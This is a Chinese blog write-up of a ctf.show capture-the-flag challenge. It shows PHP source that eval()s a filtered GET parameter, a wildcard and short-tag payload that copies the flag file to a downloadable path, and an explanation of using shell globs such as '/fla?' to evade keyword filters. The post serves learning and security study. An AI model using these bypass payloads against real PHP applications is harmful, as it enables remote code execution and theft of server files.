BUGSHOW 红包题第二弹,闭合php与短标签
打开靶机,F12
赋值用cmd试试
highlight_file了源码,发现把能过滤的都过滤了(P.S 有个“q”没有过滤掉)
<?php #error_reporting(0); ?> <html lang="zh-CN"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="viewport" content="width=device-width minimum-scale=1.0 maximum-scale=1.0 initial-scale=1.0" /> <title>ctf.show_红包题</title> </head> <body> <center> <h2>ctf.show_红包题</h2> <h4>where is the flag?</h4> </center> <!-- hint:?cmd= --> <?php if(isset($_GET['cmd'])){ $cmd=$_GET['cmd']; highlight_file(__FILE__); if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){ die("cerror"); } if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){ die("serror"); } eval($cmd); } ?> </body> </html>
看了大佬的WP,就是用
?cmd=?><?=`/???/?p /???????? p.ppp`;?>
相当于
?cmd=?><?=`/bin/cp /flag.txt p.ppp`;?>
用cp命令,将flag.txt复制到p.ppp
然后访问url/p.ppp就可下载到flag了
-------------------------------------------分割线----------------------------------------------------
不过有点不明白的是 <?=`` 的作用,就额外学习一下
?>是关闭前面的php标签,<? ?>是短标签,那是怎么执行cp指令的呢?
看了一下官方的解释,原来 `ls` 里面的是反引号,使用反引号运算符“ ` ”的效果与函数 shell_exec() 相同,
<?= ?> 等同于 <?php echo ?>
通配符在 RCE 中的利用
先说一下原理:
- 在正则表达式中,
?
这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或一次。 - 在 Shell 命令行中,
?
这样的通配符与其它字符一起组合成表达式,匹配任意一个字符。
同理,我们可以知道 *
通配符:
- 在正则表达式中,
*
这样的通配符与其它字符一起组合成表达式,匹配前面的字符或表达式零次或多次。 - 在shell命令行中,
*
这样的通配符与其它字符一起组合成表达式,匹配任意长度的字符串。这个字符串的长度可以是0,可以是1,可以是任意数字。
所以,我们利用 ?
和 *
在正则表达式和 Shell 命令行中的区别,可以绕过关键字过滤,如下实例:
假设flag在/flag中: cat /fla? cat /fla* 假设flag在/flag.txt中: cat /fla???? cat /fla* 假设flag在/flags/flag.txt中: cat /fla??/fla???? cat /fla*/fla* 假设flag在flagg文件加里: cat /?????/fla? cat /?????/fla*
再研究一下正则和payload
我是Dixk-BXy,新手上路,转载请注明原文链接:https://www.cnblogs.com/DenZi/articles/15135359.html